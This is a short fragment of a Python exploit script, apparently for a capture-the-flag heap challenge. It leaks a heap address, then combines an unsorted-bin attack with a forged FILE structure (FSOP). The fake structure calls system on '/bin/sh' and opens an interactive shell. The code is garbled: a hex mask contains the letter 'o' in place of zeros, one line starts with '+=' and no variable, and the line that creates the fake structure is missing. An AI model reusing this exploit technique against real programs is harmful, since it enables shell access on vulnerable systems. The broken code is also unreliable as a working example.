edit(0x10,b"a"*0x10)

show()

io.recvuntil(b"a"*0x10)

heap_info = u64(io.recvuntil("\n",drop = True).ljust(8,b"\x00"))
heap_base = heap_info & oxfffffffffffffooe

# unsorted_bin attack + FSOP
pad = cyclic(0x400)

b"/bin/sh\x00"+p64(0x61)+p64(0)+p64(io_list_all-0x10)
+= p64(0)+p64(1)
fsop.ljust(0xd8, b"\xe0")
vtable_addr = heap_base+0x530
fsop += p64(vtable_addr)
fsop += p64(0)*3+p64(system)
pad += fsop

print(hex(system))
print(hex(io_list_all))

edit(len(pad),pad)
print(hex(heap_base))

menu (1)
io.sendlineafter("it\n",str(0x18))

io.interactive()
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